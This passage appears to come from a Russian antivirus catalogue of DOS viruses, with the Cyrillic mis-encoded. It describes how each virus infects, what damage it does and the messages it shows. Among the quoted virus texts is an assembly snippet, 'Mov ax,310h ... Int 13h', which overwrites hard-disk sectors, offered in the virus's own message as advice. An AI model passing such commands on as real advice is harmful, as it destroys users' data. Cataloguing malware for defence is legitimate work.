èç ýòîãî ôàéëà è çàðàæàåò ôàéëû â êàòàëîãàõ äåðåâà äèñêà C:. Äëÿ
íàéäåííûõ EXE-ôàéëîâ âèðóñ ñîçäàåò ôàéëû-ñïóòíèêè, ñîäåðæàùèå âèðóñíûé
êîä. Äåëàåò îí ýòî ñëåäóþùèì îáðàçîì: îðèãèíàëüíîìó ôàéëó ïðèñâàèâàåòñÿ
ðàñøèðåíèå, ñîâïàäàþùåå ñ íà÷àëüíûìè áóêâàìè èìåíè, íàïðèìåð, ôàéë
FILE.EXE áóäåò ïåðåèìåíîâàí âèðóñîì â FILE.FIL. Åñëè æå èìÿ ôàéëîâ
ñîñòîèò ìåíåå, ÷åì èç 3 áóêâ, òî âèðóc ïðèñâàèâàåò èì ðàñøèðåíèå WRT,
íàïðèìåð, ôàéëó FI.EXE áóäåò ïðèñâîåíî èìÿ FI.WRT. Äàëåå âèðóñ ñîçäàåò
âèðóñ-ñïóòíèê ñ èìåíåì îðèãèíàëüíîãî ôàéëà. Â ïÿòíèöó â ìàðòå-ìåñÿöå
âèðóñ óíè÷òîæàåò ôàéë C:\CONFIG.SYS è ñîçäàåò íîâûé C:\AUTOEXEC.BAT ñ
ñîäåðæèìûì:
@echo off
echo E.H.M 3.16 ...
path c:\dos
Pause >nul
echo
Pause >nul
Óñòàíàâëèâàåò ñèñòåìíóþ äàòó íà 18 ÿíâàðÿ 1980 ãîäà è âðåìÿ 00:00:00.
À òàêæå óñòàíàâëèâàåò ðåçèäåíòíî â ïàìÿòü ÷àñòü ñâîåãî êîäà è
"ïåðåõâàòûâàåò" INT 9. Ïðè íàæàòèè íà êëàâèøó Enter âèðóñ
óñòàíàâëèâàåò ðåæèì ýêðàíà 48x80.
HLLC.Runme
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà Turbo Basic â ôîðìàòå EXE-ôàéëà
è óïàêîâàí óòèëèòîé TinyProg 3.3. Ïðè ïåðâîì çàïóñêå âèðóñ êîïèðóåò ñ
ïîìîùüþ êîìàíäíîãî ïðîöåññîðà ñåáÿ íà äèñê C:, ïåðåèìåíîâûâàåò ôàéë
C:\CONFIG.SYS â C:\@VIRUS2@.!!!. Ñîçäàåò íîâûé ôàéë C:\CONFIG.SYS, â
êîòîðûé çàïèñûâàåò ñòðîêó INSTALL=RUNME.EXE /VIRUS_SESSION. Òàêæå âèðóñ
óíè÷òîæàåò êîìàíäíûé ïðîöåññîð, çàïèñûâàÿ â íåãî ñëåäóþùèé òåêñò:
YOUR COMMAND INTERPRITER IS SEEK BY IT
IT IS SUPER VIRUS !
THAT'S ALL FOLKS !
Óñòàíàâëèâàåò ñèñòåìíîå âðåìÿ íà 1 ÿíâàðÿ 2000 ãîäà. Ïðè ñòàðòå ôàéëà-
âèðóñà RUNME.EXE ñ ïàðàìåòðîì /VIRUS_SESSION, âèðóñ âûâîäèò òåêñò:
HALLO ! THIS IS A LITTLE VIRUS. AND YOUR COMPUTER IS SEEK BY IT
Insert NEW disk for drive C:
and press ENTER when ready ...
Formatting drive C:
Format complete
Format another (Y/N)
 ïðîöåññå äàííîé èìèòàöèè ôîðìàòèðîâàíèÿ ñîçäàåòñÿ ôàéë \$VIRUS$.$$$.
À òàêæå âèðóñ âûâîäèò ñëåäóþùèå ñîîáùåíèÿ:
THIS IS A SUPER VIRUS !!!
ANTIVIRUSES (LIKE AIDSTEST)
CAN'T HELP YOU
SYSTEM HALTED ...
PRESS + + TO RESTART
OR TURN OFF POWER AND CALL 911
Data error reading drive C:
Not ready reading drive C:
SYSTEM HALTED ...
ß òàê è íå ïîíÿë, çà÷åì áûëî íàïèñàíî ýòî óáîæåñòâî?
HLLC.Sputnic
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîçäàåò ôàéëû N.BAT è R.BAT, ñ
ïîìîùüþ êîòîðûõ, ïîñðåäñòâîì çàïóñêà êîìàíäíîãî ïðîöåññîðà, ïðîèçâîäèò
ïðèñâàèâàíèå *.EXE-ôàéëó-æåðòâå ðàñøèðåíèÿ *.STL, êîïèðîâàíèå âèðóñíîé
ïðîãðàììû ïîä èìåíåì îðèãèíàëüíîãî ôàéëà è çàïóñê èíôèöèðîâàííîãî ôàéëà
-íîñèòåëÿ. Âèðóñ ñîäåðæèò â ñâîåì òåëå îòëàäî÷íóþ èíôîðìàöèþ èç êîòîðîé
âèäíî, ÷òî âèðóñ áûë ñîçäàí èç èñõîäíîãî ôàéëà SPUTNIC.C.
HLLC.Uri
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîçäàåò âèðóñíûå ôàéëû-ñïóòíèêè ñ
ðàñøèðåíèåì URI äëÿ ïîðàæàåìûõ EXE-ôàéëîâ. Âèðóñ ñîäåðæèò òåêñòû:
Virus URI now activated !!!
ß - âèðóñ Uri-áåçâðåäíûé, îäíàêî ñðî÷íî ïðîéäèòå êóðñ Óðèíîòåðàïèè!
Ïîðà ïîìî÷èòüñÿ íà êëàâèàòóðó è â äèñêîâîäû.
À âîò Áèëëè íå ïîâåçëî! Åãî îêîøå÷êè íå ïîëó÷àò ëîãîòèï
"Virus Uri compatible".
Vinnitsa Virus Soft (c) 1998 (VVS)
HLLC.Vs&W.3966
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîçäàåò âèðóñíûé ôàéë-ñïóòíèê ñ
ðàñøèðåíèåì COM äëÿ EXE-ôàéëîâ. Ïðè çàðàæåíèè ôàéëà âêëþ÷àåò ðåæèìû
êëàâèàòóðû: NumLock, CapsLock, ScrollLock. Âûâîäèò òåêñò "ß áåçâðåäíîå
ñóùåñòâî.". Òàêæå ñîäåðæèò òåêñòû:
DPS.Companion Virus! (c) Copyright 1996 by Max Max
Âèðóñ íàïèñàí äëÿ Ñàíêò-Ïåòåðáóðãñêîãî ÄÏØ ( àáñîëþòíî áåçâðåäíàÿ )
Ïðèâåò Ìèêñåðó, Ìèøêå, Êèðèþõå, Âèêòîðó Èâàíîâè÷ó, è âñåì äðóãèì
Ñîâåòóþ âûïîëíèòü: Mov ax,310h / Xor cx,cx / Mov dx,80h / Int 13h
HLLC.Vs&W.5936
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîçäàåò âèðóñíûé ôàéë-ñïóòíèê ñ
ðàñøèðåíèåì COM äëÿ EXE-ôàéëîâ. Âûâîäèò òåêñò:
\|/ 911> ×òî ó âàñ ñëó÷èëîñü?
ÜÜÜÜÜÜÜÜÛÜÜÜ" I> Ó ìåíÿ êîìïüþòåðíûé âèðóñ - Vs&W.Companion!
ÛÛÛÛß ßÛÛÛ \ 911> Âàø àäðåññ.
ÛÛÛÛÛÜÛÛÛÛÛÛÛÛÛ I> Ñàíêò-Ïåòåðáóðã
ßß OO ßßßßß O ß 911> Ñêîðàÿ Ïîìîùü óæå â ïóòè
Çäåñü â ðîëè "911" - ðàçðàáîò÷èêè àíòèâèðóñîâ
"I" - ÷åëîâåê, âêëþ÷èâøèé âèðóñ.
Ñîâåò! Îòîøëè ýòîò ôàéë â 911
Òàêæå ñîäåðæèò òåêñò:
Ïðîøó ïðîùåíèÿ ó àâòîðà âèðóñà Ambulance.796 çà òî
÷òî ÿ èñïîëüçîâàë åãî êàðòèíêó
Vs&W.Companion Virus! (c) Copyright 1996
Âèðóñ íàïèñàí äëÿ Ñàíêò-Ïåòåðáóðãñêîãî ÄÏØ
Ïðèâåò Ìèêñåðó, Ìèøêå, Êèðèþõå, Âèêòîðó Èâàíîâè÷ó, è âñåì äðóãèì
Ñîâåòóþ âûïîëíèòü: Mov ax,310h / Xor cx,cx / Mov dx,80h / Int 13h
HLLC.Unvisible (1,2)
Íåîïàñíûå âèðóñû.EXE-ôàéëàì ïðèñâàèâàþò ðàñøèðåíèå OVL è ñîçäàþò âèðóñ-
ñïóòíèê ñ íàñòîÿùèì èìåíåì ôàéëà-æåðòâû. Ñîçäàþò ôàéë VIRUS.DOC,
çàïèñûâàþò â íåãî òåêñò:
Virus Design Laboratory, USSR
1.02.1991
You have a new type of virus - unvisible.
Ïî îêîí÷àíèè ðàáîòû âèðóñîâ äàííûé ôàéë óäàëÿåòñÿ. 13 ÷èñëà ïîñëå 13
çàðàæåíèé ôàéëîâ ñîçäàþò â êîðíåâîì êàòàëîãå ôàéë _.COM è çàïèñûâàþò
â ôàéë C:\AUTOEXEC.BAT âûçîâ äàííîãî _.COM ôàéëà. _.COM ïðîèçâîäèò
ïåðåâîðà÷èâàíèå èçîáðàæåíèÿ íà ýêðàíå.
HLLO.AIDS.13952
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû:
This File Has Been Infected By AIDS! HaHa!
*********************************************************************
* ATTENTION: *
* I have been elected to inform you that throughout your process of *
* collecting and executing files, you have accidentally ****** *
* yourself over; again, that's PHUCKED yourself over. No, it cannot *
* be; YES, it CAN be, a ***** has infected your system. Now what do *
* you have to say about that? HAHAHAHA. Have **** with this one and *
* remember, there is NO cure for *
* *
* ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ *
* ÛÛÛ±±±±±±ÛÛÛ ±±±±ÛÛ±±±±±± ÛÛ±±±±±±±ÛÛÛ ÛÛÛ±±±±±±±ÛÛ *
* ÛÛ±± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ±± ±± *
* ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± *
* ÛÛÛÛÛÛÛÛÛÛÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛÛÛÛÛÛÛÛÛÛÛ *
* ÛÛ±±±±±±±±ÛÛ± ÛÛ± ÛÛ± ÛÛ± ±±±±±±±±±ÛÛ± *
* ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛ± *
* ÛÛ± ÛÛ± ÛÛ± ÛÛ± ÛÛÛ± ÛÛ ÛÛÛ± *
* ÛÛ± ÛÛ± ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ±± ÛÛÛÛÛÛÛÛÛÛ±± *
* ±± ±± ±±±±±±±±±±±± ±±±±±±±±±±± ±±±±±±±±±± *
* *
*********************************************************************
HLLO.Hacks
Îïàñíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.EXE-ôàéëîâ, óäàëÿåò èõ è âìåñòî íèõ
ñîçäàåò ôàéëû ñ òåìè æå èìåíàìè, íî ñîäåðæàùèìè òîëüêî âèðóñíûé êîä.
Ïî îêîí÷àíèè ñâîåé ðàáîòû âèðóñ âûâîäèò òåêñò "Looking for hacks" è
ïûòàåòñÿ íàéòè â äîñòóïíûõ ÷åðåç ïåðåìåííóþ PATH êàòàëîãàõ ôàéë
AIDS1284.EXE. Åñëè ýòî åìó óäàåòñÿ, òî âèðóñ óäàëÿåò äàííûé ôàéë è
âûâîäèò ñîîáùåíèå:
Íà òâîåì êîìïå îáíàðóæåíà îïàñíåéøàÿ ïðîãðàììà, êîòîðîé òû åùå è
ïîëüçóåøüñÿ!!!! Ýòî òàê íàçûâàåìûé Aidstest 1284, êîòîðûé âîâñå íå
Aidstest, à îðèãèíàëüíûé hackersoft! Ïîòîìó ìû âî èçáåæàíèå
íåïðèÿòíîñòåé àêêóðàòíî åãî çàòåðëè! Óððÿ!
Ïîñëå ÷åãî âûâîäèò îäíî èç ñëåäóþùèõ ñîîáùåíèé:
Program too big to fit in memory
Illegal copy
Error allocating int21h
Your mouse looks very sexually.
I cannot work with her.
Âñòàâüòå â äèñêîâîä íàæäà÷íóþ áóìàãó è íàáåðèòå FORMAT A: /S/U
Åñëè ó âàñ ïðîñòàèâàåò êîìï, íàáåðèòå HA AR012 HA C:\*.*
Ìû âñå æèâåì äëÿ òîãî, ÷òîáû çàâòðà ñäîõíóòü.
Is any hacker a fucker?
Îñòàíîâèòå âèí÷åñòåð!!!! Íó âîò, óæå ïîçäíî...
Insert key disk into drive A: and press TURBO
HLLO.Joker.10000, 11000
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Çàðàæàþò EXE-ôàéëû íà äèñêàõ C: è A:.
Ðàçðóøàþò *.DBF-ôàéëû. Ïî îêîí÷àíèè ñâîåé ðàáîòû âûâîäÿò îäèí èç
ïåðå÷èñëåííûõ íèæå òåêñòîâ:
Error in EXE file
File cannot be copied onto itself
Compare OK
Invalid Volume ID Format failure
Incorrect DOS version
Please put a new disk into drive A:
End of input file
END OF WORKTIME. TURN SYSTEM OFF!
Divide Overflow
Water detect in Co-processor
I am hungry! Insert HAMBURGER into drive A:
NO SMOKING, PLEASE! Thanks.
Don't beat me !!
Don't drink and drive.
Another cup of cofee ? OH, YES!
Can you fuck me ? Maybe ...
Coca-Cola is it !
What about ? Oh, yes. O.K. TODAY
Missing VGA! Call (209) 683-6858 !
Attention! Hard Disk is RADIOACTIVE!
I'm so much dirty! CLEAN ME!
Kiss my ... keyboard!
Hard Disk's head has been destroyed. Can you borow me your one?
Missing light magenta ribbon in printer!
In case mistake, call GHOST BUSTERS
Insert tractor toilet paper into printer.
Are you funny?
Keep smiling!
Warning! In drive A: are two diskettes.
Warning! Your mouse has some virus!
Disconnect your mouse, there are some cats!
I don't understand you. Can you repeat it?
West Lake Software and Data Research, WA 0108077, New Orleans, (c) 1986
HLLO.Kamikaze
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò çàøèôðîâàííóþ ñòðîêó "kamikaze".
HLLO.Karma
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Â êîíöå ñâîé ðàáîòû âûâîäèò íà ýêðàí
òåêñò:
You have bad karma!
Hare Krishna! Hare Rama!
Òàêæå ñîäåðæèò ñòðîêè:
BAD KARMA
(c) Lamer of Virus
Vinnitsa
HLLO.M&M
Îïàñíûé âèðóñ. Èùåò *.EXE-ôàéëû, ñîçäàåò èõ çàíîâî è çàïèñûâàåò 8803
áàéò ñâîåãî êîäà â íèõ. Ñîäåðæèò òåêñò "M&M". Èíîãäà îñòàâëÿåò â ïàìÿòè
ðåçèäåíòíóþ ïðîãðàììó, ïðîèçâîäÿùóþ "îñûïàíèå" áóêâ íà ýêðàíå.
HLLO.Not
Îïàñíûé âèðóñ. Ñîäåðæèò ñòðîêó "NOT!".
HLLO.Oj
Îïàñíûé âèðóñ. Ñîäåðæèò ñòðîêó "O.J. Simpson in Guilty!".
HLLO.ShadowGard
Îïàñíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.COM è *.EXE-ôàéëîâ è çàïèñûâàåò ñâîé
êîä â íà÷àëî ôàéëà, íå ñîõðàíÿÿ ïðîãðàììíûé êîä. Ïðè óäà÷íîì çàðàæåíèè
âûâîäèò îäíî èç ñîîáùåíèé: "Illegal copy", "Insufficient memory",
"Network busy", "Drive not ready". Âíóòðè âèðóñà èìååòñÿ òåêñò:
[Shadow-Gard] in
This is only DEMO version ! Prepare...
HLLO.Termit
Îïàñíûé âèðóñ. Ïîñëå çàðàæåíèÿ ôàéëà âèðóñ âûâîäèò íà ýêðàí òåêñò:
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
°°ÛÛÛÛÛÛ°°°°ÛÛÛÛ°°°°ÛÛÛÛÛÛ°°°°°ÛÛ°°°°°ÛÛ°°°°°°°°°°°ÛÛÛÛÛÛ°°°
°°ÛÛÛÛÛÛ °°°ÛÛÛÛ °°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ °°°°°°°°°°ÛÛÛÛÛÛ °°
°°ÛÛÛÛÛÛ °°°ÛÛÛÛ °°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ °°°°°°°°°°ÛÛÛÛÛÛ °°
°°° ÛÛ °°°ÛÛ °°°ÛÛ ÛÛ °°°ÛÛÛÛ°ÛÛÛÛ °°°°°°°°°°° ÛÛ °°
°°°°ÛÛ °°°°°ÛÛ °°°°°ÛÛ °°ÛÛ °°°ÛÛ ÛÛÛ ÛÛ °°°°°°°°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛ °°°°°ÛÛ °°ÛÛ °°°ÛÛ °Û ÛÛ °°°°°°°°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛÛÛ°°°°ÛÛÛÛÛÛÛ °°°ÛÛ °° °ÛÛ °°°ÛÛ°°°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛÛÛ °°°ÛÛÛÛÛÛ °°°ÛÛ °°°°ÛÛ °°°ÛÛ °°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛ °°°ÛÛ Û °°°°° °°°°° °°°° °°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛ °°°°°ÛÛ °Û °°°°°°°°°°°°°°°°°ÛÛÛÛ°°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛ °°°°°ÛÛ °ÛÛ°°°°°°°°°°°°°°°°°°ÛÛ °°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛÛÛ°°°°ÛÛ °ÛÛ °°°°°°°°°°°°°°°°°ÛÛ °°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°ÛÛÛÛ °°°ÛÛ °°ÛÛ°°°°°°°°°°°°°°°°°ÛÛ °°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°° °°°° °°° °°°°°°°°°°°°°°°°ÛÛ °°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°ÛÛ °°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°°°°°Û°°°ÛÛÛÛ°°ÛÛÛÛ°°°°ÛÛ°°°°°°°°ÛÛ °°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°°°°ÛÛ °°Û Û °Û Û °°Û Û °°°°°°ÛÛÛÛ°°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°°°°°Û °°ÛÛÛÛ °ÛÛÛÛ °ÛÛÛÛÛ°°°°°°° °°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°°°°°Û °°° Û °° Û °° Û °°°°°°°°°°°°°°°ÛÛ °°°°
°°°°ÛÛ °°°°°°°°ÛÛÛ°°ÛÛÛÛ °ÛÛÛÛ °°°°Û °°°°°°°°°°°°°°°°ÛÛ °°°°
°°°°° °°°°°°°°° °° °° °°°°° °°°°°°°°°°°°°°°°° °°°°
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
HLLO.Tyst
Î÷åíü îïàñíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.* ôàéëîâ â êàòàëîãàõ,
îáîçíà÷åííûõ â ïåðåìåííîé PATH. Ïðè íàõîæäåíèè ôàéëà-æåðòâû (íàïðèìåð,
ôàéë FILE.EXE) âèðóñ çàïóñêàåò êîìàíäíûé ïðîöåññîð ñ ïàðàìåòðàìè
( äîïóñòèì, çàïóùåííûé èíôèöèðîâàííûé ôàéë èìååò èìÿ C:\TYSTVIR.EXE):
/C copy C:\TYST.EXE FILE.EXE> NUL. Ò. î., âèðóñ êîïèðóåò ñâîé êîä â
ôàéë-æåðòâó, ïðè÷åì íîâûå èíôèöèðîâàííûå ôàéëû áóäóò ñîçäàâàòüñÿ â
òåêóùåì êàòàëîãå. Ïðè ñòàðòå âèðóñ âûâîäèò ñîîáùåíèå:
Tyst fÔr fan.. Jag sprÄnger!!
HLLO.Vm
Î÷åíü îïàñíûé âèðóñ. Ñîäåðæèò òåêñòû:
OBBS Net is the best fido-technology net in the world
For more information please call NS - SOFTWARE BBS
You cant use ESC key.This key allowed only for OBBS members
Your sincirely VM
OBBS Net is the best fido-technology net in the world
For more information please call NS - SOFTWARE BBS
Sorry but floppy disk operations today supported only for OBBS users
Your sincirely VM
OBBS Net is the best fido-technology net in the world
For more information please call NS - SOFTWARE BBS
×òî-òî ñ ïàìÿòüþ òâîåé ñòàëî :-) ãû-ãû
Your sincirely VM
HLLO.Vs&W.3017
Î÷åíü îïàñíûé âèðóñ. Ñîäåðæèò òåêñò:
þ Âèðóñ ïîä èìåíåì DPS ( îò ðóññêîãî ÄÏØ ), ñîçäàí â Ñàíêò-Ïåòåðáóðãå
þ Ïðèâåò âñåì õàêåðàì Ñàíêò-Ïåòåðáóðãà, à òàêæå Ìèêñåðó, Ìèøêå, è
þ Âèêòîðó Èâàíîâè÷ó îò Vs&W Hackers Group, by Mad Max Hacker
þ ÍÓ Î×ÅÍÜ ÏËÎÕÎÉ ÂÈÐÓÑ þ
þ AëèñA; Roxette; ÀðÈß; Iron Maiden
þ (c) Copyrigth 1996, by Mad Max ( Vs&W ).
Âñå ïðàâà çàùèùåíû
( ðàçóìååòñÿ òóò íåò íèêàêèõ ïðàâ, ïðîñòî òàê, ðàäè ïðèêîëà
Ïðèâåò Äìèòðèþ Ëîçèíñêîìó è Èãîðþ Äàíèëîâó
HLLO.Vs&W.3836
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Âûâîäèò ñîîáùåíèå:
Virus by Vs&W Hackers Group. ß íå çàðàæàþ áîëüøå 5 ôàéëîâ
Ñ Íîâûì Ãîäîì!
The World will hear from me again
À ìåíÿ çâàòü MadMax, ïðèâåò Âèêòîðû Èâàíîâè÷ó èç ÄÏØ
Ïðîøó ïðîùåíüÿ çà òî, ÷òî ÝÒÎ ïîïàëî ê âàì
Îòîøëèòå ÝÒÎ Èãîðþ Äàíèëîâó èëè Äìèòðèþ Ëîçèíñêîìó
Îíè ðàçáèðóòüñÿ ñòî ê ñåìó. Â ýòîì ÿ óâåðåí
Òàêæå ñîäåðæèò òåêñò:
Âàñ ïðèâåòñòâóåò Vs&W Hackers Group
Ðàäè èíòåðåñà ìû íàïèñàëè ýòîò âèðóñ
Ïðîøó äàòü åìó íàçâàíèå "VS&W", ïîæàëóéñòà!!!
Æäèòå íîâûõ ïîñòóïëåíèé îò õàêåðîâ Ñàíêò-Ïåòåðáóðãà
Âèðóñ íàïèñàíî íà Òóðáî Ïàñêàëå 7.00, è óïàêîâàí DIET`îì
Ïðèâåò MiXER`ó îò MadMax`à
MiXER òû åùå íà Áýéñèêå ñòðàäàåøü èëè íåò?
HLLO.Zalman
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Èìååò òåêñò "(c) 1993,94 Zalman".
HLLP.4641
Î÷åíü îïàñíûé âèðóñ. Íàïèñàí íà Turbo Pascal è óïàêîâàí PKLITE.
Ðàçðóøàåò ôàéëû ñ ðàñøèðåíèÿìè PAS,BAS,TXT,BAK,PCX,MID,PIC,CUT,C,ARC,
PAK,ZIP,LZH,ICE,CHZ,ARJ.
HLLP.4665
Âî âðåìÿ çàðàæåíèÿ ôàéëîâ ñîçäàåò âðåìåííûå ôàéëû MAIN.EXE è TEMP.EXE.
HLLP.7808 (1,2)
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Íàïèñàíû â ôîðìàòå EXE-ôàéëà. Ïîÿâèëàñü
ìîäèôèêàöèÿ âèðóñà HLLP.7808(1),óïàêîâàííàÿ óòèëèòîé LZEXE âåðñèè 0.91.
HLLP.8905
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ.  ñðåäó ïûòàåòñÿ óíè÷òîæèòü
ñîäåðæèìîå äèñêà C:.
HLLP.Acid
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. 13 ÷èñëà óíè÷òîæàåò ïî 100 ïåðâûõ
ñåêòîðîâ êàæäîãî ëîãè÷åñêîãî óñòðîéñòâà æåñòêîãî äèñêà è âûâîäèò òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
Éͼ °°°°°°°°°¦ °°°°°°°°¦ °°°°°°¦ °°°°°°°°°°¦ ÈÍ»
º °ÛÛÛÛÛÛÛÛÛ°°°¦ °ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ¦ ÛÛÛÛÛÛÛÛÛÛ °°°¦ º
º ÛÛÛÛ°¦ ÛÛÛÛ°¦ ÛÛÛÛ°¦ ÛÛÛÛ°¦ ÛÛÛÛ°¦ ÛÛÛ°¦ º
º ÛÛÛÛ°°°°°ÛÛÛÛ°¦ ÛÛÛÛ°¦ ÛÛÛÛ°¦ ÛÛÛÛ°¦ ÛÛÛ°¦ º
º ÛÛÛÛÛÛÛÛÛÛÛÛÛ°¦ ÛÛÛÛ°°°°°°°¦ ÛÛÛÛ°°¦ ÛÛÛÛ°°°°°ÛÛÛ º
º ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ º
ÈÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» Éͼ
ÈÍÍÍÍÍÍÍÍÍÍÍ͹Virus ACID.(c)Satanman.1997.Moscow.ÌÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Hi! My name is ACID.Yes,yes,yes - i am virus. ¦
¦ I am sorry: your hard disk has been formatted...¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
HLLP.Aga
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. 12 íîÿáðÿ âûâîäèò íà ýêðàí òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º *ÂÈÐÓÑ* º
º ÀÃÀ - v1.03. º
º Create in 2:5064 º
ºÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º C Äíåì Ðîæäåíèÿ! º
º Âñåõ Ñêîpïèîíîâ! º
º Ñ÷àñòüÿ è äåíåã º
º ÂÀÌ! º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
HLLP.BeginPas
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà ÿçûêå Pascal. Ïðîèçâîäèò
ïîèñê *.PAS-ôàéëîâ â òåêóùåì êàòàëîãå,îòêðûâàåò èõ, èùåò ñòðîêó "BEGIN"
è ñðàçó æå ïîñëå ýòîé ñòðîêè âñòàâëÿåò ññûëêó íà ïðîöåäóðó "virus".
Çàïèñûâàåò äàííóþ âèðóñíóþ ïðîöåäóðó íà ÿçûêå Pascal â èñõîäíûå PAS-
òåêñòû.  ðåçóëüòàòå ïîñëå êîìïèëÿöèè òàêîãî PAS-ôàéëà ïîëó÷èòñÿ
èíôèöèðîâàííûé èñïîëíÿåìûé ìîäóëü, ñïîñîáíûé äàëüøå èíôèöèðîâàòü
èñõîäíûå òåêñòû, íàïèñàííûå íà ÿçûêå Pascal â ôàéëàõ *.PAS. Ïðè
íàõîæäåíèè *.PAS-ôàéëà âèðóñ âûâîäèò íà ýêðàí åãî èìÿ, ïîñëå çàðàæåíèÿ
ôàéëà âûâîäèò òåêñò "Infected!".
HLLP.BelGUT
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Âûâîäèò íà ýêðàí òåêñò:
² ² ²²² ²²² ²² ²² ² ² ²²²² ²²² ²²² ²
² ² ² ² ² ² ² ² ² ²² ²² ² ² ² ² ²
²²²² ² ²²² ² ² ² ² ² ² ² ²²² ²²² ²²² ²
² ² ² ² ² ² ² ² ² ² ² ² ² ² ²
² ² ²²² ² ²²² ²² ²² ² ² ²²²² ² ² ²²² ²
²
IT'S A LITTLE FUCK FROM BelGUT!
HLLP.Birthday.5824
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà ÿçûêå âûñîêîãî óðîâíÿ,
âèäèìî, Borland Turbo Pascal, â ôîðìàòå EXE-ôàéëà. Ïåðâûå 5824 áàéò
ôàéëà-æåðòâû âèðóñ ïåðåíîñèò â êîíåö ôàéëà, à âìåñòî ýòèõ áàéò
çàïèñûâàåò ñâîé êîä ñ ñîáñòâåííûì çàãîëîâêîì EXE-ôàéëà è Relocation
Table. 6,7 è 8 ñåíòÿáðÿ âûâîäèò ñîîòâåòñòâóþùèå ñòðîêè: "Tomorrow will
be my birthday !", "Today is my birthday !", "Yesterday was my birthday
!". Ïîñëå ÷åãî "âåøàåò" ñèñòåìó.
HLLP.Bishkek.3990, 4170, 4240
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Óïàêîâàíû PKLITE (HLLP.Bishkek.3990
óïàêîâàí LZEXE). HLLP.Bishkek.4170 ðàçðóøàåò *.BAS-ôàéëû, çàïèñûâàÿ â
íèõ ñòðîêó "(Smokie4 virus (c) by N5 school BISHKEK 1". Ýòó æå ñòðîêó
âèðóñ èíîãäà âûâîäèò íà ýêðàí.HLLP.Bishkek.4240 ïåðèîäè÷åñêè çàïèñûâàåò
â çàãðóçî÷íûå ñåêòîðà äèñêîâ A:, B:, C: êîëè÷åñòâî ãîëîâîê -1 (ñìåùåíèå
